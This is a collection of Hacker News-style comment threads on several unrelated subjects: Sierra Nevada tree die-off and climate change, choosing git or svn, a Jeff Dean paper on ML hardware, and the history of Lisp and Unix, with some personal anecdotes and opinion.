The High Sierra forest is dying, and you can't count the loss in dead trees - <AUTHOR> http://www.latimes.com/travel/california/la-tr-changing-landscape-20160912-snap-story.html <comment><USER3> I live in the foothills of the sierra, and I've been a search and rescue volunteer for a while now, so I'm in some part of the Tahoe national forest about once a week on average.

The damage, when you see it up close, is stunning. You'll be driving along a highway and see miles, and miles, and miles of dead trees standing there, waiting to burn.

It's catastrophic, and that's not a word I use lightly.

The prediction for this year is a mostly dry and cold Winter. If that happens, I expect next Summer to be one of the worst fire seasons in state history. There's so much dry material out there now in areas that require tremendous resources to combat.

If/when superfire season happens, there's a good chance it'll overwhelm state resources and there's going to be a lot of damage that will take decades to recover.

I was in Kings Canyon for a state SAR conference not too long ago and the fire scars from a few years ago still look fresh. Most of the stretch of highway 20 through Clear Lake is just black and brown. That's gonna be a look that's hard to get away from pretty soon, and I doubt we fully grasp the impact of that yet.

<comment><USER4> I too spend a lot of time in the Sierras, though more of the Southern end. I would concur with your conclusions. While I'm not the most cognizant of foliage, I can say that the watershed has dropped noticeably over the years. People might say "who cares? you only need water for overnight trips.", but that's not only wrong, but missing the big picture. The Sierras have been getting less snow, and LA is literally sucking them dry with the aqueduct, refusing to even consider solutions such as desal plants. Public transportation to reduce AGW is also a no-brainer that no one seems to want. Damage has already been done, but there are actions that could be taken to improve the situation. No one seems to care, though.

<comment><USER5> The reality is that it's too late at this point. The easy fixes might have worked if we could get worldwide buy-in 20 years ago but short of a planetary- scale engineering project or outright banning fossil fuel usage we're in for some bad times even before we factor in economic growth from India, China, and Africa.

Levelling off is no longer good enough, it's too late for that, we need a massive decrease in global carbon emissions. And beyond that we need to start thinking about levelling out energy consumption entirely, even independent of CO2 emissions.

[https://www.youtube.com/watch?v=Uc1vrO6iL0U](https://www.youtube.com/watch?v=Uc1vrO6iL0U)

Classic Newsroom clip but fact-checked as accurate, minus the hyperbole at the end about permanent darkness. We're already seeing majorly shifting weather patterns, movement of the jet stream, droughts, unprecedented wildfires, etc. We're already starting to see the first major cities lost due to rising sea levels - Miami is already sinking beneath the seas and it's only a matter of time before it exceeds the limits of engineering to fix it. It's built on porous limestone and borders directly on hundreds of square miles of swamp, so it's something of a worst-case scenario. You can't pump out water when it just comes right back in through the limestone, and even if you could we would be talking about hundreds of times as much wall as the Netherlands uses.

Every single building in Miami will need to be elevated Chicago/Seattle style or abandoned within the next decade or two. Otherwise people are going to start leaving rather quickly once the sewers start backflowing on a regular basis. All of modern society is built on the shoulders of sanitation infrastructure and it's going to get nasty once it stops working.

[http://www.motherjones.com/blue-marble/2014/11/climate- desk-...](http://www.motherjones.com/blue-marble/2014/11/climate-desk-fact- checks-aaron-sorkins-climate-science-newsroom)

[https://newrepublic.com/article/123216/miami-sinking- beneath...](https://newrepublic.com/article/123216/miami-sinking-beneath-sea- not-without-fight)

I wish I had something positive to say like "maybe this will finally get us to proactively solve our problems instead of assuming they can always be fixed at some future date" but I don't actually believe that will happen. We are unwilling to systematically factor in future risks into present costs. Heck, even we as a community don't do it properly - how many times are we going to get hacked before we learn to lock things down from day 1?

Sorry to be pessimistic but that's the reality at this point. Objections to this are political slant and wishful thinking. The US military's job is to be apolitical and make realistic assessments about future threats to our nation, and they're planning for increased levels of conflict due to climate change in the 21st century. It's happening and it's going to suck pretty bad.

[http://www.reuters.com/article/us-usa-climatechange- idUSKCN1...](http://www.reuters.com/article/us-usa-climatechange- idUSKCN11K0BC)

[http://www.judicialwatch.org/blog/2016/10/u-s-intel-alert- cl...](http://www.judicialwatch.org/blog/2016/10/u-s-intel-alert-climate- change-aids-terrorists-destabilizes-entire-world-stresses-military/)

<comment><AUTHOR> _I wish I had something positive to say_

When the oil wells in Kuwait were set on fire as the Iraqis left, the prediction was that it would burn for _years_ and be a global environmental catastrophe. When crack teams from around the world converged on Kuwait, invented new techniques on the spot and put the fires out in a mere six months, that did not get anywhere near the hype that the initial dire predictions got.

In the 1990's, they were predicting a global financial meltdown due to y2k and people were prepping for it -- putting away food stocks, etc. That got quietly solved and no one wakes up every day going "THANK GOD THEY SOLVED THAT AND WE AREN"T LIVING IN THE POST Y2K APOCALYPSE!!!!"

I think we can solve this. I also think if we do solve it, people will act like the fears we are expressing now about it were overblown. People are terrible about being unable to count the disasters that did not happen. When things go well, we seem to think that is "normal" even though it really is not.

I am aware we may not solve it and the world may, in fact, go to hell the way everyone is predicting. But _may not_ and _cannot_ are different things. But, you know, we are all dust in the wind anyway. In another million years, none of this really matters.

My experience is that if you have something positive to say, people pretty much ignore you. I am still trying to figure out how to get traction for being able to talk about things that actually work in various problem spaces. People mostly do not want to hear it. They are far more interested in being all emo about the state of the world while carrying on with their lifestyle as usual for the most part.

<comment><USER3> I fixed my fair share of Y2K bugs in COBOL in 1998-1999. I agree with you. I know from the work I did then that there _would_ have been some pretty serious, life-disrupting issues had there not been the colossal effort to fix it all (payroll jobs in fact did fail to run, as did financial reports, report cards, etc.).

I'm generally an optimist. I think there will be fairly widespread support for environmental engineering in our state to protect and repair our natural areas. (There already is a lot of that.)

But it looks like a really big, scary problem from the boots-on-the-ground perspective.

<comment><AUTHOR> _But it looks like a really big, scary problem from the boots-on-the-ground perspective._

I know that you are aware that I am homeless in California and have been for about 4.5 years. Every place I camp with my two sons, we urinate on the local bushes and trees to intentionally try to grow better cover for our campsite.

Where we currently are, we are camped behind what we thought was a dead tree. Large parts of it are covered in lichen. With being peed on for months, it grew a whole new section and developed berries. Birds began nesting in it. Nearby, what was previously essentially a dead zone is alive with insects and smaller animals.

The large bird that routinely perches above us has stopped screeching constantly -- a territorial behavior intended to drive off competitors for its food -- and we recently witnessed multiple birds of the same species gather nearby in a copse of trees. We think these are all golden eagles and we think they may have paired off to mate, though we aren't sure. It was somewhere between 8 and 11 birds that we could count and it may have been more.

I am homeless and live without a car (and gave up my car a few years before I walked away from my corporate job) and everywhere I pee, the flora and fauna flourish.

My "boots" are probably on the ground a lot more than yours, and to me it looks like it isn't that hard at all to make a positive difference in this situation. Though I have no idea how to start a "please walk more and please pee on a tree" campaign. Nonetheless, everywhere I go, people begin walking more and the local environment visibly improves -- a thing I have written about some: [http://micheleincalifornia.blogspot.com/2016/08/for-just- few...](http://micheleincalifornia.blogspot.com/2016/08/for-just-few-dollars- more.html)

I also have a deadly medical condition that is incurable and I am getting well when doctors claim that cannot be done. So I spent over a year at death's door and have spent a lot of years coming back from that. Thus, what we are doing to our environment looks solvable to me. I have done harder things.

But I am a homeless woman that everyone dismisses as insane because, obviously, only men in white lab coats can figure out how to help deathly ill people (for scads of money, of course) not former homemakers who are dirt poor because of a) being a woman that no one will listen to and b) having an expensive debilitating medical condition.

So, to my eyes, the big challenge is figuring out how to get an audience and how to present the information in a manner that will be palatable. If I can get off the street in the near future, I imagine I will work on that -- because we all need a hobby, I guess.

<comment><USER3> Well, there are some important differences between berry-bearing trees and the larger conifers, as well as all the various different microbiomes we have around the sierra. There's chaparral, scrub, high desert, foothill, subalpine and alpine environments, and they all have different needs and react differently to environmental changes. The high desert stuff, for instance, is really good at coming back from extended dry hot periods. Chaparral, scrub, and foothill aren't likely to change drastically, I don't think (in my totally uneducated opinion).

I'm more worried about the subalpine forest, the kind of stuff you see in the western Sierra from about 3,000 to 8,000 foot elevation. That's where we're seeing the worst of the tree die-off and wildfire disasters, and it's an ecology that takes much longer to return to what we think of as "healthy". The watersheds in these areas is also a major, very important part of the state's water supply, so impacts on these ecosystems have the potential to affect communities all over the state.

Best wishes to you. Good to hear from you again.

<comment><AUTHOR> _there are some important differences between berry-bearing trees and the larger conifers_

Yes, one of which is that some pines only reproduce in the aftermath of fire.

[http://earthobservatory.nasa.gov/Features/BOREASFire/](http://earthobservatory.nasa.gov/Features/BOREASFire/)

[http://creationrevolution.com/plants-that-need-fire-to- survi...](http://creationrevolution.com/plants-that-need-fire-to-survive/)

<comment><USER6> "So other than that Lincoln, how did you like the play?"

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER7> In Canada, pine beetles have been spreading further and further North in recent years. Warm winters help beetles spread, but keeping old forests untouched by fire many decades past what is typical in the area has also played a big part. Forest fires control pine beetles.

In this area, forests do not live for thousands of years. Fire is a natural part of the life cycle, but we've kept unprecedented amounts of forest "safe" from fire in the twentieth and twenty-first centuries. Pine beetles are forcing their way into very touristy areas, and pretty soon people will have to accept having their view spoiled, either by pine beetles or by fire.

Nature is often ugly. We need to perform more controlled burns, both to restrict the spread of pine beetles and reduce the risk of mega-fires. People need to accept forest fires as a natural part of forest ecology rather than seeing them solely as natural disasters. By clinging to our pretty, green views of what we think forests should be, we are actually harming our forests.

</comment><comment><USER8> The planet has suffered climate changes before and there is a common trend in this cases. The forest will move.

Entire forests migrated to the north or south to return again after some thousands of years. After the ice covering Europe melted, hazelnuts and poplars regain quickly its territory and arrive first. Oaks came later slowly migrating toward the north from its mediterranean refuges. Finally we have the beechs still trying to extend its distribution towards the south and living in the cold north side of the mountains whereas oaks live in the sunny side.

If pines finally give up, a new forest based in different trees (more adapted to dry places) will slowly take over. Maybe oaks. It is worth to mention, that if this species need shadow in its first years, could need the dead pines in place for a while.

The new forest will be shorter also. Trees are living creatures that spend a lot of energy to assure that thousands of Kg of matherials will climb up inside the trunk each day. When water gets scarce, there is a point when the roots have problems to win against the electrostatic and gravitational forces that keep the water in the soil. By the laws of physics, greater the distance, bigger the work that you need to do against the gravity to move a given weight. Therefore, taller species of trees are less efficient using water and will be gradually excluded from the drying area.

<comment><USER9> The timescale of change is important to remember. Yes, forests have migrated in the past--but this current trend of climate change is happening so much faster than anything we see in the geological record. They don't have generational timescales to adapt and move this time.

<comment><USER8> This is a problem that can be solved. We know by the "Chernobyl experience" that nature can return really fast as long as the soil is not reclaimed by man for other uses. We can accelerate that process easily, creating new "highways" for our forests. Most birds don't need it, but big mammals, forest birds and smaller plants and arthropods would benefit a lot of the life-line of having ecological corridors.

I'll drop one of my stupid ideas; what if we start thinking about implement the next level of environmental parks?. The first "nomad national parks" in the planet with gradually movable boundaries designed to minimize the consequences of climate change. Some coastal forests could need a safe exit to move towards the inner land for example. We could change a strip of protected soil with dying trees by some agricultural land in the border of the forest, protect strictly this area and plant there a new extension of the forest. We could include the died wood in the contract to buy a bigger extension in other place and use a mix of native trees (designed to be more resilient against plagues than natural monocultures). The right time to start planning how to do this is forty years ago, but today would be also fine.

</comment></comment></comment><comment><USER10> This is sad. I could see this causing a lot more problem than all the fires we're getting in CA.

This is a slight tangent, but are there jobs for people in tech to help fight this (or drought, logging, etc)? Wouldn't mind spending a few years trying to protect the environment, but want to put the engineering skills to use.

<comment><USER11> I see that the USDA has some software related to conservation up for download [1]. Anything from water budgeting on farms to Animal Waste Management. I did not download or test any of this software, just found it after a quick search.

Then there's this organization that ran out of funding, but contacting one of the former team members may help you. [2]

There is development of software that doesn't directly affect the environment but rather helps dictate what work should be done to improve/conserve conditions. This book seems to address this topic. [3]

Here are some other random related things. [4] [5]

Unfortunately, it seems like software engineers are mostly used to develop management software. Modeling software is closer to the type of action I suspect you are interested in. It is needed, though I doubt the software engineers are helping analyze data and building solutions based on that research. I could be very wrong.

EDIT: I should clarify. A SE COULD analyze the data, but in the context of a paid full-time position I doubt your employer would want you to spend your time doing that.

If you find any information regarding "environmental [activism/conservation] with software", or something like that, please let us know.

DISCLAIMER: I don't know what I'm doing ;)

[1] [http://www.nrcs.usda.gov/wps/portal/nrcs/detail/national/ndc...](http://www.nrcs.usda.gov/wps/portal/nrcs/detail/national/ndcsmc/?cid=stelprdb1042198)

[2] [http://se4s.ics.uci.edu/](http://se4s.ics.uci.edu/)

[3] [http://www.journals.elsevier.com/environmental-modelling- and...](http://www.journals.elsevier.com/environmental-modelling-and-software)

[4] [http://www.conservation.org/NewsRoom/pressreleases/Pages/sof...](http://www.conservation.org/NewsRoom/pressreleases/Pages/software_indentifies_key_areas.aspx)

[5] [http://www.capterra.com/environmental- software/](http://www.capterra.com/environmental-software/)

<comment><USER10> Thanks a bunch for the resources :). Gonna play around with some of these.

Modeling software is definitely something that's interesting, but also just helping these organizations not seem so unappealing. Their websites are old unusable, their career tracks are pretty bad, pay is low -- they sell these jobs terribly.

I wouldn't even mind working a degree away from environmental endeavors just to get smart people motivated to solve these problems and learn more. Think data journalism on environmental educational pieces. Or helping local governments preserve the nearby environments. Kinda just shooting around in the dark hoping to hit something, but thanks for the start :)

</comment></comment></comment><comment><USER12> I mean, I get that this is a serious problem, but before we get too hasty about doing anything about it, imagine all the shareholder value that could be lost by hasty actions, or all the economic liberty that could be destroyed by environmental regulation. They're the real victims here.

<comment><USER13> I think people has missed the sarcasm, because it is sarcasm, isn't?

<comment><USER14> The brilliance of that comment is that around here I wouldnt be surprised _if it wasn 't!_

</comment></comment></comment><comment><USER15> When people speak about it's too late and ad the words "we" i always get nautious. Don't project your generalisations onto others, do something about it - and if you do what you can do help someone else to turn around. There are millions of people working to do so _. And yes, there will be a high peak if nothing is done but there is still time to avoid extinguishing (or close to) the human race in it 's current technological advancement.

There is still time to realingn the military to fight an actual war that matters, for continued human progress. There is still time for powerful regulation of the commons to avoid the tragedy therefor in so many areas. There is still time to buy those solar panels and spread information about those that exist ready to increase the efficiency a handful of times. There is still time for city planners to stop allowing new buildings in areas that will not be sustainable. There is still enough time to do alot of things...

_Excluding conservatives worldwide, who are finally coming along as looking beyond their noses they've started smelling blood in the water - <USER2> to prosper in the new climate.

</comment><comment><USER16> California should consider itself lucky if the pine beetle has just hit in 2015 and not really that bad from the pictures. Probably 50% of the trees in Colorado are dead, 90% in some places.

<comment><USER17> There's no mention of the pine beetle in the article. He heavily implicates drought and climate change.

<comment><USER18> I would think, although possibly wrongly, that if this was drought induced the die off would be more uniform. The pictures look similar to what I saw in Wyoming a decade ago due to pine beetles.

Both are likely related, reduced water makes the trees more susceptible to the ravages of the pests?

<comment><USER19> I spent half my childhood in South Lake Tahoe and have lived in the region most of my life. During the 80's and 90's, much of which was a period of drought for the region, beetles were a problem and being actively mitigated by the forestry service. You can go through the national forest all through the sierras and see trees that have been tagged for removal due to beetles. The problem is very severe right now and certainly the worst I can remember. I've got a couple of friends that work for the us forestry service and they say it's so bad they can't keep up with it. Other sources point out that beetle infestation is part of the problem.

Local news site for Tahoe specifically: [http://www.tahoedailytribune.com/news/california-tahoe- area-...](http://www.tahoedailytribune.com/news/california-tahoe-area-tree- deaths-climb-to-record-levels-thanks-to-bugs-drought/)

SF Chronicle on the beetle problem and commenting on the excess wood: [http://www.sfchronicle.com/bayarea/article/California- has-66...](http://www.sfchronicle.com/bayarea/article/California- has-66-million-dead-trees-and-nowhere-8337745.php)

</comment></comment></comment></comment><comment><USER20> There was a nice article in The Economist [1] a few months ago on just about this issue - how it relates to global warming, forest densification, mismanagement, etc.

[1] [http://www.economist.com/news/briefing/21701751-stricken- tre...](http://www.economist.com/news/briefing/21701751-stricken-trees- provide-clues-about-how-america-will-adapt-global-warmingbut-little-hope)

</comment><comment><USER21> If only people got the message a few decades ago, we'd have a modicum of hope. It's too late now.

<comment><USER22> The big environmental movement started in the 70's. I remember as a very young kind in the 90's that it was drilled into our innocent minds at school. People have been worrying about resources and the environment for a very long time before that, as well.

<comment><USER23> I remember in the late 80s/early 90s it seemed like all the environmental stuff was about the ozone hole and acid rain. By the late 90s it seemed to be all about preserving the rainforest to the exclusion of almost anything else—incidentally, did we... win that one? Or hopelessly lose it so everyone gave up? It seems like the chatter there has dropped to almost nothing, though for a while it was _the_ environmental issue.

Global warming _per se_ didn't get center stage until later. I don't remember hearing much about it back in the days of soda-by-the-pitcher and Made in America signs on racks at Wal-Mart (gave up on _that_ one pretty fast, haha).

<comment><USER24> I think Asimov might have disagreed. In 1989 he said:

> I thought the most interesting scientific event of 1988 was the way everyone > started speaking about the greenhouse effect just because there was a hot > summer and a drought, when I had been talking about the greenhouse effect > for twenty years, at least. - > [http://www.ubcome.com/AsimovSaveCivilization.html](http://www.ubcome.com/AsimovSaveCivilization.html)

He also talks about the rainforest in '89:

> I said therefore, when Brazil begins to cut down the rainforest of the > Amazon, not only is it destroying a habitat for vast numbers of plant and > animal life which could be of great use to us, there are perhaps > pharmacological products we know nothing about that are produced by these > forms of life that if we knew about could advance the art of pharmacology > and the practice of medicine, enormously. And we'll never find out, we're > going to drive them to extinction. We're going to destroy the ground, > because the soil of a rainforest isn't very good, and when you chop it down > it doesn't make for good farming, what it makes is for good deserts. And > finally, we're going to cut down on absorbing the carbon dioxide and on > producing oxygen, so that we are actually tampering with the climate of the > Earth and with the very atmosphere that we breathe, so that under those > circumstances it is useless for Brazil to say that she can do what she wants > with her own, that the rainforest belongs to her and if she wants to cut > them down, she can. The rainforest doesn't belong to her, it belongs to > humanity, she is merely the custodian of the rainforests.</comment></comment></comment></comment>


Ask HN: Is git/svn right for me? - <AUTHOR>

(Sorry for using HN as a forum... can't think of anywhere else.)
Hi HN,
I never thought I'd need to use a version tracking system, but after having a live site, I'm thinking I do. (Single developer.)
Say I have a feature I need to implement, but would take days or weeks to finish it. In the meantime, I need to fix a bug which could take just a few minutes to fix and deploy. I'm finding myself making whole copies of my site on my local machine, and using the original copy change little things and deploy.
Would git/svn make this easier for me, or am I stuck doing what I'm doing? Thanks! <comment><USER2> Yes. Try git or mercurial (AKA "hg": <http://selenic.com/mercurial/>) rather than svn; both are much easier to set up and try out. When it only takes a second to set them up, you'll be more likely to experiment with them and discover what they're good at. SVN really doesn't have any real advantage over them these days.

There is a function in git and hg (an extension) called "shelve" which does exactly what you want - you can temporarily set aside the new feature in progress, commit the bugfix, and then go back to working on the feature. (If you knew _ahead of time_ you were going to need to do this, it would probably have made more sense to do the feature in a branch, of course.)

People will argue back and forth whether git or hg is better, but in my experience they do the same things* , they just have different personalities. Pick one, get the hang of using it, and _then_ experiment with the other - you'll be better able to make an informed decision. Both are significantly better than just about every other VC system.

* The advanced features they don't have in common are probably not going to matter until you know all the base functionality, and any new features in either will probably get ported to the other by then.

</comment><comment><USER3> version control is almost always a good idea. If you're the only developer, then I would recommend svn. git is distributed version control -- its used e.g. for Linux Kernel development, when hundreds of developers are doing independent work on the same codebase.

<comment><USER4> I've never really used git, but it seems to be the future, so you might as well start with that, no?

<comment><USER5> The advantage of SVN is that it has been around longer, so you can (e.g.) find GUI software that leads you through it, like TortoiseSVN, or those two SVN clients for the Mac that conveniently came out just as I switched to git. :]

That's the only advantage, though. I frankly don't understand the notion that SVN is easier to learn than git. Git has its tricky points (like the index), and its documentation and teaching material have only recently emerged from obscurity, but I think it's conceptually more straightforward, particularly because you can use it without having to set up a server. And you can back up your entire repository by just dragging your working directory to some backup media, so crazy experiments feel a lot less risky.

Start at github. And I learned mainly from the git screencast at Peepcode and the Randal Schwartz Google talk on git.

<comment><USER2> I found mercurial much easier to learn/explain than git (the hg team seems to be more interested in keeping its public interface clean), and it has TortoiseHG (<http://tortoisehg.sourceforge.net/>) on Windows. (There are several other graphic interfaces available: <http://www.selenic.com/mercurial/wiki/index.cgi/OtherTools>)

This book helps, too: <http://hgbook.red-bean.com/></comment></comment></comment></comment>


Deep Learning and Its Implications for Computer Architecture and Chip Design - <AUTHOR> https://arxiv.org/abs/1911.05289 <comment><USER2> Badly formatted paper with handwavey abstract with no real focus and dropping buzzwords aplenty... I'll pass...

Oh - it's written by Jeff Dean, inventor of Mapreduce, Bigtable, tensorflow, and practically a god... Yeah, I'll read it!

<comment><USER2> Read it. Worth a read, especially for those not closely following the machine learning world.

The last section, focussing on having a single large sparsely activated model which can accomplish thousands of different tasks by using a selection of internal 'experts' interests me the most.

I suspect this type of model isn't used much today simply because each company using ML only typically has a few problems to solve. If someone like Google, with far more different problems to solve, can get this type of model to work and demonstrate its effectiveness, I think it would be a big step towards solving artificial general intelligence.

Jeff Dean has a lot of respect and influence inside Google, and his ideas tend to get implemented. I'm looking forward to it!

<comment><USER3> Sparsely activated multitask model is a kind of Jeff Dean's hobby horse. It was published in 2017: [https://arxiv.org/abs/1701.06538](https://arxiv.org/abs/1701.06538). My assessment is that it is an intriguing but ultimately failed experiment, like Geoffrey Hinton's capsule network.

<comment><USER4> Capsule networks are not failed experiments! Where is this coming from? They merely haven't been applied as much as CNNs or FCNs but there are lots of papers out there where capsule networks outperform those architectures.

Source: my thesis using capsule networks for semantic segmentation of aerial imagery

<comment><USER5> I like the Capsule idea too. In some way, capsule network is very similar to sparse attention network. It's just the attention normalization is different. Attention is normalized on the inputs, the capsule is normalized on the output. Potentially capsule can yield much cleaner patterns, while patterns generated by attention networks can be overlapping. It's just that capsule is much harder to solve.

</comment></comment></comment></comment></comment><comment><USER6> > Figure 2 shows this dramatic slowdown, where we have gone from doubling > general-purpose CPU performance every 1.5 years (1985 through 2003) or 2 > years (2003 to 2010) to now being in an era where general purpose CPU > performance is expected to double only every 20 years [Hennessy and > Patterson 2017].

This isn't true. CPU performance has stagnated very recently due to Intel's struggles with 10nm, but we look to be leaving that behind us. Even if we weren't, it's still not relevant for ML, since within the last decade GPUs _have_ improved a factor of ~10—thus the terrifying Figure 2 is proven false.

</comment><comment><USER7> Does anyone happen to have a link to a paper or book describing the state of the art in placement and routing algorithms? I'd like to read up on that topic.

<comment><USER8> These two books might be useful,

1) [https://www.oreilly.com/library/view/electronic-design- autom...](https://www.oreilly.com/library/view/electronic-design- automation/9780123743640/) 2) [https://www.crcpress.com/Electronic-Design- Automation-for-IC...](https://www.crcpress.com/Electronic-Design-Automation- for-IC-Implementation-Circuit-Design-and/Lavagno-Markov-Martin- Scheffer/p/book/9781138586017)

On the first book, see chapter 10 - 12 (on floorplanning, placement, and routing). End of chapter 11 points you to some literature survey as well. But the book itself is somewhat dated (published in 2009)

I haven't read the second book but it's much more recent (published in 2018), it also has chapters on placement, and routing.

</comment></comment><comment><USER9> Potentially noob question, with Moore's law slowing down, are there enough specializations/hardware modifications available like those mentioned in the paper such that progress in ML will continue to progress rapidly? or will these advancements simply forestall an inevitable asymptote.

<comment><USER10> It's little more than an educated guess on my part, but I figure there's about two orders of magnitude in improvements in processing speed exploitable with current processes, if a big-budget chip were designed specifically for ML training. GPUs are architecturally not very optimal for the task.

You want something like a chip with a huge mesh of small independent cores with their own local storage, quite possibly with non-digital circuits that can very quickly approximate the functions with analog electronics, rather than actually doing all of the calculations digitally. Some variation on that is the approach both Intel and IBM have taken with their "neural chips" in the last few years.

It seems that analog computers are finally getting their revenge.

<comment><USER11> This doesn't seem to match my experience with ML and GPUs/ASICs.

TPU is the main ML ASIC in use. A major goal of the original TPU design seems to be reducing the number of memory accesses. The other top-end ML device is NVIDIA's GPUs with Tensor Cores. Both of those chips are designed around fast matrix multiplication, which right now seems to be the most important operation in deep learning - see how RNNs have started to fall out of favor to CNN-based networks with attention heads.

The TPU is not faster than NVIDIA's GPUs, but it is cheaper. Right now the future seems to be cheaper ML devices designed to be horizontally scalable.

From the CPU perspective, it appears that the major ML effort is related to vectorizing instructions via advanced instruction sets.

Everyone who creates silicon is focused very heavily on using smaller and smaller numeric types - float16 is standard and there is work being done for even smaller int based work.

I haven't seen any analog-based ML devices in use. Can you share an example? Is there even a way to approximate the results of a matmul using analog devices?

It's impossible to guess how much more speed we can get with current approaches, but everything from silicon to networking stack to libraries to network architectures are in their infancy so I would expect dramatic improvements in performance on a regular basis (but not as regular as other areas of software because silicon development is slow)

<comment><USER3> TPU v3 is rated 420 teraflops, while V100 GPU is rated 125 teraflops.

<comment><USER11> What does TPU v3 mean there? tpu v3.8? In which case you are comparing 8 cores/4 chips to a single GPU which hardly seems fair. It's hard to compare across ASICs. In practice the the largest readily available amount of compute seem to be 8 V100s vs one 'Cloud TPU' (tpu v3.32). Those two have relatively similar performance in practice (FLOPs seem to be a very poor way to compare across ASICs), although TPU is typically several times less expensive.

</comment></comment></comment></comment></comment><comment><USER12> brain floating point ... cool name

i guess brain's synaptic precision could go way lower, as low as 26 distinct synapse weights: [https://elifesciences.org/articles/10778](https://elifesciences.org/articles/10778)

> A particularly interesting research direction puts these three trends > together, with a system running on large-scale ML accelerator hardware, with > a goal of being able to train a model that can perform thousands or millions > of tasks in a single model. Such a model might be made up of many different > components of different structures,

yup, he is building a brain

<comment><USER13> > i guess brain's synaptic precision could go way lower, as low as 26 distinct > synapse weights: > [https://elifesciences.org/articles/10778](https://elifesciences.org/articles/10778)

Thanks for the link. Artificial neural networks all the way down to binary weights [1] although this approach doesn't seem like the most efficient one. It's interesting how we're still seeing a ton of variability in ML architectures: it suggests we haven't stumbled on the right area yet. It reminds me how early aviation had a huge diversity of aircraft plans, but now, after a lot of optimization, we've settled on that one standard airliner shape everyone uses everywhere.

[1] [https://arxiv.org/abs/1602.02830](https://arxiv.org/abs/1602.02830)

<comment><USER12> A formal theory of deep learning is proving to be much more elusive that avionics. Interesting times though</comment></comment></comment>


Devember: code for the whole of December, every day, at least 1 hour a day - <AUTHOR> https://devember.org/ <comment><USER2> Hmm. The rules seem a little too strict - not only do you have to code every day, you have to code for at least an hour, publicly display your code, and blog about what you coded. Every day.

If the idea is to mimic NaNoWriMo, then the rules should be simpler. Say - just encourage coding every day, with a month-long objective. Blogging or talking about it should be encouraged but optional.</comment>


Canopy Labs (YC S12) Relaunches to Help Businesses with "Fuzzy" Customer Funnels - <AUTHOR> http://techcrunch.com/2015/03/06/canopy-labs-relaunch/

<comment><USER2> Thanks TechCrunch for covering our new platform launch!</comment>


Building a mobile app startup is about solving problems, not chasing ideas - <AUTHOR> http://thenextweb.com/entrepreneur/2013/12/23/building-mobile-app-startup-solving-problems-chasing-ideas/?fromcat=all#!qygaR

<comment><USER2> I could not agree more as a developer with apps with over a million installs.

I developed many funky apps. None of them were successful. One weekend a friend's mother asked me if she could read her favorite but very old religious book on her phone. It was not in english and hence not available on the traditional e bookstores. I made an app which was nothing but a simple HTML page wrapped in a webview. Very next day I was flooded with 5 star ratings and emails thanking for this contribution. Then I made it my business.

It so happens that I solved a real problem for people. That is something we often fail to do.</comment>


Performance and Evaluation of Lisp Systems (1985) [pdf] - <AUTHOR> http://rpgpoet.com/Files/Timrep.pdf <comment><USER2> This is by Richard Gabriel, who coined "worse is better" ([https://www.dreamsongs.com/RiseOfWorseIsBetter.html](https://www.dreamsongs.com/RiseOfWorseIsBetter.html)). He's also the author of Patterns of Software ([https://news.ycombinator.com/item?id=13799628](https://news.ycombinator.com/item?id=13799628)).

Incidentally I just finished reading it and found it quite fascinating.

<comment><USER3> Could you write about what you found fascinating? I read through the first 10 pages and it was mostly about how system architecture applies to Lisps.

As someone who has written the back-end of a compiler, I was surprised to learn that roughly 25% of execution time is building stack frames for a caller and a callee.

<comment><USER2> Poor writing, I meant that Patterns of Software was fascinating. I'd be interested to give a glance to the above though, precisely for insights like that which you highlighted.

I'm not surprised at all. Java has the same kind of situation going on, and its performance depends on the ability of the JIT compiler to kick in and perform inlining. When this is not possible (e.g. calls sites where you call a virtual method with many implementations), performance degrades a lot. This is especially bad with interfaces, which have intrinsically higher costs.

As for Lisp, it can be even worse if you take things like multimethods into account.

</comment></comment></comment><comment><USER4> The benchmarks gathered for this book continue to be incredibly significant (though not really for good reasons) 30+ years later. Quite remarkable.

<comment><AUTHOR> OK, curiosity piqued: why not really for good reasons?

<comment><USER4> The translation of these programs to JS via a translation to Scheme turns out not to end up reflecting modern programs.

</comment></comment></comment><comment><USER5> I think one of the reasons why C became popular in industry and Lisp didn't, is because Lisp is harder to translate into efficient machine code. C was closer to how the hardware works. In the earlier days, specialized hardware was built to run Lisp code: Lisp Machines. When computers were sufficiently fast enough, the specialized hardware was no longer necessary.

The software industry could have been vastly different, if Lisp took off instead of C, which I think had more to do with business, culture, & politics than the technology itself.

<comment><USER6> Not really, Lisp Machines were expensive, UNIX was free with a plain symbolic license during the AT&T was prevented from selling it.

If UNIX had a price tag similar to all other OSes, the revolution would never have happened.

<comment><USER7> I don't think it's that simple.

Until the 1980s, there were various different hardware architectures, each with its own operating system. Their manufacturers sold mainframes/mini- computers which came with the operating system installed. The operating systems weren't portable, and were included in the price of the hardware.

Unix was originally developed for the PDP-11, and written in C, which though influenced by the PDP-11 architecture was at the same time low level and machine independent.

BSD Unix was available for the DEC VAX, and could be run instead of DEC's VMS. Back then, this was most people's first experience of Unix. Franz Lisp was included with BSD Unix.

Around this time, the market for proprietary mainframes was collapsing, so there wasn't much demand for their operating systems (or for people with experience with them). New manufacturers, e.g. Sun and Apollo, entered the market with workstations running either Unix or Unix-like systems. Vaxes were still around, by now often running Unix instead of VMS. Anyone manufacturing new hardware had the choice of developing a proprietary operating system, which was a lot of effort and would die with the machine, or porting Unix to it.

The Lisp Machine market collapsed for various reasons which are reasonably well-known. Lisp lives on, but was always a niche language, and there are various explanations for its lack of popularity. It was never really an alternative to C, which is a lot lower level.

<comment><USER6> > BSD Unix was available for the DEC VAX

Which only happened thanks to the AT&T tapes that were taken to Berkely, and the work of Bob Fabry.

If it wasn't for that, BSD Unix might never have happened.

> Anyone manufacturing new hardware had the choice of developing a proprietary > operating system, which was a lot of effort and would die with the machine, > or porting Unix to it.

Because UNIX's source code was available under a "cheap" license.

If it was an AT&T product like those mainframe OSes, that would never been a path they would take.

<comment><USER7> Portability was important for Unix's success. The other operating systems were free (as in beer) but wouldn't run except on the expensive machines they came on. ITS could have been free, and wasn't proprietary, and was (at the time) a better development environment than Unix, but it was limited to PDP-10s.

MS-DOS was proprietary but was more popular than Unix, because it ran on even cheaper hardware.

<comment><USER6> Nothing prevented the other companies to port their OSes, many of each were implemented in variants of Algol and PL/I, they just didn't saw a business value in doing so, and thus lost to the availability of an almost freely available OS, that universities which didn't want to pay for mainframe OSes, adopted to their existing computer labs, instead of getting more licenses.

Students at those universities then picked UNIX for their startups, for the newly workstation market, like Sun did.

